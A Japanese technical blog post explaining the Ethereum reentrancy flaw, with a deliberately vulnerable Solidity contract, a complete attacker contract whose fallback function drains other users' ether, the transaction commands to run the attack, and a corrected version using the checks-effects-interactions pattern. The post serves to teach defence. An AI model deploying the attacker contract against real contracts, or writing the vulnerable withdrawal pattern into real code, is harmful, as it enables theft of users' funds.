LoginSignup
14
7

More than 5 years have passed since last update.

イーサリアムのコントラクトコードにおけるReentrancy問題

Last updated at Posted at 2018-04-03

概要

コントラクトコードの書き方を間違えると、イーサは第三者に簡単に盗めてしまう。
なので、そのあたりは気をつけましょうね、というお話。

気をつけないことは他にも色々あるけれど、一気に書くとごちゃつくので
タイトル通り、Reentrancy問題部分だけにフォーカスする。

必要な前提知識

  • イーサリアムには2種類のアカウントがある
  • 一つは、EOA(Externally Owned Account)でこれは個人のアカウントだと考えれば良い
  • もう一つは、CA(Contract Account)でコントラクトコードがアカウントを持つと考えれば良い
  • どちらのアカウントもアドレス(と状態)を持つ
  • CAもEOAと同様にイーサの送金を受け付け、イーサを保持できる
    一時的な口座として利用できるイメージ。
  • コントラクトコードにはFallbackという名前・引数無しの特殊な関数を一つだけ作ることができ
    これは「そのCA宛にイーサが送金されたタイミング」で自動的に呼び出される。

これだけ分かっていれば十分。

今回の構成

コントラクト名 説明
DameContract 入金と入金額の全額引出が可能なコントラクト。コードに脆弱性あり
ItadakiContract DameContractの脆弱性をついてお金を盗む悪意のあるコントラクト

なお、DameContractには複数のEOAから既にイーサが入金されている状態とする。
例えば100アカウントで1万イーサくらい入っている、と。

DameContractのコード(脆弱性あり)

DameContract

// 残高管理表
mapping(address => uint) public userBalance;

/// イーサの預け入れを行う
function addBalance() public payable { userBalance[msg.sender] += msg.value; }

/// イーサの全額引き出しを行う
function withdrawAll() public payable returns(bool){
  // 1.残高を確認
  if(userBalance[msg.sender] == 0) { return false; }
  // 2.全額引き出しを行う
  //    残高をもとに呼び出し元のアドレスにイーサを送金している
  if(!(msg.sender.call.value(userBalance[msg.sender])())){ throw; }
  // 3.残高をゼロに更新する
  userBalance[msg.sender] = 0;
}

ItadakiContractのコード(窃盗用)

ItadakiContract

// DameContractのアドレス格納
address public target;

/// コンストラクタ
/// コントラクトデプロイ時にDameContractアドレスが設定される
function ItadakiContract(address _target) { target = _target; }

/// DameContractにイーサを送金する関数
function sendToDameContract() public {
  if(!target.call.value(1 ether)(bytes4(sha3("addBalance()")))){ throw; }
}

/// DameContractから残高を引き出す関数
function steal() public {
  if(!target.call.value(0)(bytes4(sha3("withdrawAll()")))){ throw; }
}

/// FallBack関数
function() payable {
  // DameContractのwithdrawAllをCall
  if(!msg.sender.call.value(0)(bytes4(sha3("withdrawAll()")))){
    // 処理はなんでもいい(ログとか)
  }
}

イーサを盗む手順

すごくシンプル。

まず、ItadakiContractのsendToDameContractを呼び出して1イーサを入金する。
要は {address:ItadakiContractアドレス, Value:1 ether}
という残高情報をuserBalanceに入れてDameContractのwithrawAll内の
「1.残高チェック」に引っかからないようにだけしておくということ。

ItadakiContractからDameContractへ1イーサ送金
  ItadakiContract.sendToDameContract
    .sendTransaction({from:eth.account[攻撃者EOAアドレス], gas: 20000000)

次に、DameContractに預け入れたイーサの引き出しを行う。
これも、ItadakiContractを経由してDameContractのwithdrawAllを呼び出す。

ItadakiContract経由でDameContractに預けたイーサを引き出す
  ItadakiContract.steal.sendTransaction({from:eth.account[自分のアカウント], gas: 20000000)

これだけで、他のEOAから預け入れた分を含むDameContractの全イーサを引き出すことができる。

いったい何が起こっているのか?

0.(IdatakiContractからDameContractに1イーサ送金している)
1.ItadakiContractのsteal関数をCallする
2.steal関数はDameContractのwithdrawAllを呼び出す

3.withdrawAll関数内で「1.残高チェック」は成功する(1イーサあるので)
4.withdrawAll関数内で「2.全額引き出しを行う」が実施され、IdatakiContractに1イーサが送金される
5.冒頭の必要な前提知識にあるとおり、このタイミングでItadakiContractのFallBack関数が自動Callされる
6.IdatakiContractのFallback関数内で再度、DameContractのwithdrawAllがCallされる

7.3に戻る。以下、DameContractのイーサが全て引き出されるか、Gasが尽きるまで繰り返し

何故このようなことが起きるのか?
これはもう単純にイーサを送金してから残高をゼロクリアしてるから。

1.残高を確認

2.全額引き出しを行う

ここの間隙を突かれてしまった

3.残高をゼロに更新する

対策について

分かりきったことだが

1.残高を確認
2.残高をゼロに更新する(残高は退避しておく)
3.(退避した残高分の)引き出しを行う

にするだけで防ぐことができる。
これを Condition - Effects - interaction パターンと呼ぶ。

  • Condition
    • 関数を実行できる条件を確認する(条件チェック)
  • Effects
    • ステートを更新する(残高情報など)
  • Interaction
    • 他のコントラクトへメッセージを送るのは最後(送金など)

修正後のコード

KaizenContract

// 残高管理表
mapping(address => uint) public userBalance;

/// イーサの預け入れを行う
function addBalance() public payable { userBalance[msg.sender] += msg.value; }

/// イーサの全額引き出しを行う
function withdrawAll() public payable returns(bool){
  // 1.残高を確認
  if(userBalance[msg.sender] == 0) { return false; }
  // 2.送金額を退避して残高をゼロに更新する
  uint sendBalance = userBalance[msg.sender];
  userBalance[msg.sender] = 0;
  // 3.全額引き出しを行う
  //    残高をもとに呼び出し元のアドレスにイーサを送金している
  if(!(msg.sender.call.value(sendBalance)())){ throw; }
}
14
7
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
14
7